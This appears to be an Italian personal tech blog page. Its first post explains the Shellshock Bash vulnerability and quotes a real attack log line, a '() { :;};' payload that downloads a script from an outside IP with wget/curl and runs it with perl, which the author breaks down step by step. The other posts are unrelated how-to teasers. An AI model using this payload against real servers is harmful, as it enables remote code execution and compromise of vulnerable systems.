Shellshock: Bug nella Bash

La famigerata Shellshock , anche conosciuta come Bashdoor , è una famiglia di problemi di sicurezza presente nell’ampiamente utilizzata Shell UNIX Bash dove, il primo buco rilevato, è stato evidenziato a partire dal 24 Settembre 2014.

Numerosi servizi internet, come ad esempio i Web Servers, utilizzano Bash per elaborare alcune richieste e, nel caso in cui sia utilizzata una versione vulnerabile, consentono ad un potenziale malintenzionato di eseguire codice malevolo in remoto.

Si tratta di un problema estremamente grave perché consente ad un cracker di ottenere l’accesso e i privilegi di amministratore sul sistema attaccato, con tutti i problemi che ne conseguono.

Il bug in questione consente di eseguire un comando di sistema nel momento in cui lo si va a concatenare alla fine di una definizione di funzione salvata all’interno di una variabile d’ambiente.

Di questo gravissimo problema ho letto alcuni mesi fa e solo oggi (14/01/2015) un sito che amministro – e di cui controllo frequentemente i logs – risulta aver subito un attacco, eccolo:

"GET /cgi-bin/test.cgi HTTP/1.0" 404 940 "-" "() { :;}; /bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\""

L’attaccante – che, nel caso specifico, risulta provenire dall’Olanda – cerca si sfruttare la presenza del file “test.cgi” e di passargli la definizione di una funzione vuota prima:

() { :;};

e, successivamente, gli accoda questo comando:

/bin/bash -c \"cd /var/tmp ; wget http://185.56.60.83/ip.cgi ; curl -O http://185.56.60.83/ip.cgi;perl ip.cgi;perl /var/tmp/ip.cgi\"

che possiamo – per chiarezza – scomporre in più righe:

cd /var/tmp
wget http://185.56.60.83/ip.cgi
curl -O http://185.56.60.83/ip.cgi
perl ip.cgi
perl /var/tmp/ip.cgi

dove viene:

  1. Resa corrente la cartella “/var/tmp”.
  2. Scaricato un CGI (“ip.cgi”) sia con il metodo “WGET” che “CURL” (uno dei due andrà !)
  3. Lanciata l’esecuzione tramite PERL .

Nel momento in cui scrivo non ho la possibilità di scaricarmi il CGI per analizzarne il contenuto, ma intendo farlo appena possibile.

E’ immaginabile che il suo scopo sia tutt’altro che amichevole ma, la cosa che più mi ha incuriosito, è la modalità con la quale sia possibile bucare un web server, veramente inquietante.

Corsi per Imparare a Programmare Applicazioni Web

Se si ha il desiderio di imparare a sviluppare Applicazioni WEB, ma anche per Smartphone e altro, ho scoperto un sito che dire “è fatto molto bene” ritengo sia oltremodo riduttivo. Si tratta di CodeSchool

E’ formato da una valanga di corsi su tutti i più diffusi linguaggi di programmazione (Javascript, jQuery, PHP, ecc..) e metatag (HTML, CSS, ecc…), strumenti vari (Git), Sistemi Operativi (Android, iOS, ecc…) e molto altro.

I corsi sono fatti benissimo: video, slide in PDF, sessioni interattive (dove scrivi il codice e lo provi in stile videogioco, con punteggi e quant’altro) a prova di babbeo.

L’unico difetto immagino sia il fatto che tutto è rigorosamente in inglese ma immagino che pretendere di avere la pappa pronta in italiano sia pure troppo.

Alcune cose sono gratuite, la maggior parte chiaramente a pagamento anche perché, ripeto, la qualità della cosa è davvero eccezionale.

PTC Creo: problema con la scheda di rete non rilevata (spenta)

Può succedere che, installando PTC Creo (ma anche Pro/Engineer) su un portatile si ottenga un problema relativo al rilevamento della scheda di rete ethernet.

Leggi tutto “PTC Creo: problema con la scheda di rete non rilevata (spenta)”

Firefox: Eliminare selettivamente i dati nei form su Mac OS X

Su Windows (o Linux) sono abituato che, per eliminare qualche dato inserito male in un form che compilo frequentemente, utilizzando Firefox devo selezionarlo – usando i tasti freccia – dalla lista e premere il tasto CANC.

Leggi tutto “Firefox: Eliminare selettivamente i dati nei form su Mac OS X”

Mac OS X: Creare una propria cartella per gli Script Bash

Mi capita spesso la necessità di crearmi degli Script Bash con i quali svolgere operazioni ripetitive.

Si tratta di programmi che vengono interpretati run-time ed eseguiti; in altri termini: il sistema operativo apre il file sorgente dello script, lo interpreta e lo esegue.

N.B.: Solo per conoscenza sottolineo come, solitamente, i programmi (o Applicazioni, come ultimamente vengono chiamate), si trovano in una forma che il sistema non deve interpretare, sono già direttamente eseguibili (contengono, appunto, le istruzioni in codice macchina per il proprio sistema operativo/hardware e sono conosciuti come file binari); tuttavia, prima di essere dei file binari, erano dei file sorgenti (cioè il codice scritto in un qualche Linguaggio di Programmazione – come ad esempio C, C++, C#, Visual Basic e molti altri – da un utente programmatore) che sono stati trasformati attraverso un’operazione detta di compilazione (in sintesi: un codice sorgente scritto con un linguaggio di programmazione viene compilato per creare un codice binario eseguibile).

Le comodità di creare uno Script Bash sono molteplici:

Leggi tutto “Mac OS X: Creare una propria cartella per gli Script Bash”

Cambiare data alle foto con iMac

Ho già creato il medesimo articolo dedicato a Linux ma, essendo lo script che esegue l’operazione, piuttosto diverso nella versione iMac ho, per praticità, preferito crearlo ex-novo.

Il problema: cambiare la data ad un insieme di foto (ma, volendo, a qualsiasi file) con uno strumento sufficientemente potente, che mi consenta di stabilire se eseguire addizioni/sottrazioni alle date, piuttosto che impostare la data odierna o comunque una forzata.

Leggi tutto “Cambiare data alle foto con iMac”

Cambiare data alle Foto da Linux

 

In realtà, lo script che ho realizzato, può cambiare data a qualsiasi file ma, lo scopo principale, è quello di modificarla alle foto che, quando – puntualmente – vengono importante, presentano una data sballata.

Leggi tutto “Cambiare data alle Foto da Linux”

VFAT Check: Tool testuale multipiattaforma per il controllo di Chiavette USB difettose

Partiamo dal perché ho realizzato questo programma: mi ritrovo con una chiavetta USB che mi rovina i files che ci copio sopra; i files sono di tipo multimediale, quindi non particolarmente importanti e ne posso tollerare “la perdita“. Tuttavia voglio capire se è possibile localizzare una zona difettosa ed, eventualmente, isolarla al fine di continuare ad utilizzare la parte buona del dispositivo.

Leggi tutto “VFAT Check: Tool testuale multipiattaforma per il controllo di Chiavette USB difettose”